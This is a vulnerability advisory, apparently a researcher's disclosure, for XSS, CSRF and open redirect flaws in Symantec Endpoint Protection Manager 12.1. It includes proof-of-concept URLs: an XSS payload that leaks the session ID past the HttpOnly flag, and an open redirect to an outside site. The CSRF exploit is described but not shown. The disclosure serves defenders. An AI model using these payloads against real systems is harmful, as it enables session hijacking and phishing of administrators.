Product:  
===========  
SEPM  
Symantec Endpoint Protection Manager and client v12.1  
  
SEPM provides a centrally managed solution. It handles security policy enforcement, host integrity checking (Symantec Network Access Control only),  
and automated remediation over all clients. The policies functionality is the heart of the Symantec software. Clients connect to the server to get the  
latest policies, security settings, and software updates.  
  
  
  
Vulnerability Type(s):  
======================  
Multiple Cross Site Scripting (XSS)  
Cross Site Request Forgeries (CSRF)  
Open Redirect  
  
  
  
CVE Reference(s):  
=================  
CVE-2016-3652 / XSS  
CVE-2016-3653 / CSRF  
CVE-2016-5304 / Open Redirect  
  
  
  
Vulnerability Details:  
=====================  
  
The management console for SEPM contains a number of security vulnerabilities that could be used by a lower-privileged user or by  
an unauthorized user to elevate privilege or gain access to unauthorized information on the management server. Exploitation attempts of  
these vulnerabilities requires access to the SEP Management console.

Exploit code(s):  
===============  
  
In this case XSS can bypass the "http-only" cookie protection because the SEPM application writes and stores the session ID within various  
javascript functions used by the application within the DOM thereby exposing them directly to the XSS attack.  
  
1) createModalDialogFromURL  
2) createWindowFromURL  
3) createWindowFromForm  
4) createIEWindowFromForm  
  
So all we need to do is alert(createModalDialogFromURL) anyone one of them (functions) an it will leak the session ID essentially throwing the  
HttpOnly secure cookie protection flag into the garbage.  
  
e.g.   
  
XSS POC Defeat http-only flag and access PHPSESSID:  
  
https://localhost:8445/Reporting/Admin/notificationpopup.php?New=1&Type=CR&height=alert%28createModalDialogFromURL%29#  
  
  
  
Open Redirect in external URL .php script:   
=========================================  
  
A reporting URL used to route generated reports externally to any authorized URL is susceptible to an open redirect vulnerability  
that could have allowed an authorized but less-privileged user to redirect an unsuspecting privileged user to an external URL to  
attempt further exploitation, e.g. phishing.  
  
  
If a victim clicks on a link supplied by an attacker  
  
e.g.  
  
https://localhost:8445/Reporting/common/externalurl.php?url=http://hyp3rlinx.altervista.org  
  
  
  
Cross Site Request Forgery (CSRF):  
==================================  
  
Multiple Cross Site Request Forgery exists in couple of places within this version of SEPM below is an example of sending scheduled report to  
an remote attackers email, if current logged in user visits malicious webpage or clicks infected link etc...
